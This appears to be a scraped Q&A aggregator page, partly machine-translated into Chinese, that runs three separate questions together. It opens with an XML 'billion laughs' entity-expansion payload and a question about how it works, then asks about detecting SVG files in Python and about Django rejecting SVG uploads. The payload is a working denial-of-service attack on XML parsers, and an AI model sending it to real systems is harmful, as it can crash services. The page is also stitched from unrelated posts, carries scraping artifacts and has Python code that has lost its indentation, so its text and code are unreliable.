<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha128 "&ha127; &ha127;">
]>
<root>&ha128;</root>
Run Code Online (Sandbox Code Playgroud)
据说这被称为十亿笑DoS攻击.
有谁知道它是如何工作的?
一个SVG文件基本上是一个XML文件,所以我可以使用字符串<?xml(或十六进制表示:) '3c 3f 78 6d 6c'作为一个幻数,但有一些相反的理由不这样做,如果例如有额外的空格,它可以打破这个检查.
我需要/期望检查的其他图像都是二进制文件并且具有幻数.如何在SVG不使用最终使用Python的扩展名的情况下快速检查文件是否为格式?
我试图通过管理站点将 .svg 上传到 SQLite(django 的默认数据库),但出现以下错误:
Upload a valid image. The file you uploaded was either not an image or a corrupted image.
Run Code Online (Sandbox Code Playgroud)
我可以上传 .jpg 文件并且它可以正常工作。
class News(models.Model):
news_id = models.AutoField(primary_key=True, editable=False)
news_title = models.CharField(max_length=150)
news_date = models.DateTimeField(auto_now_add=True, editable=False)
news_body = models.TextField(max_length=1500)
news_img = models.ImageField(upload_to="pictures/%Y/%m/")
news_author = models.ManyToManyField(Author)
class Meta:
ordering: ['news_id']
def __str__(self):
return '%s %s %s'%(self.news_id, self.news_title, self.news_date)
Run Code Online (Sandbox Code Playgroud)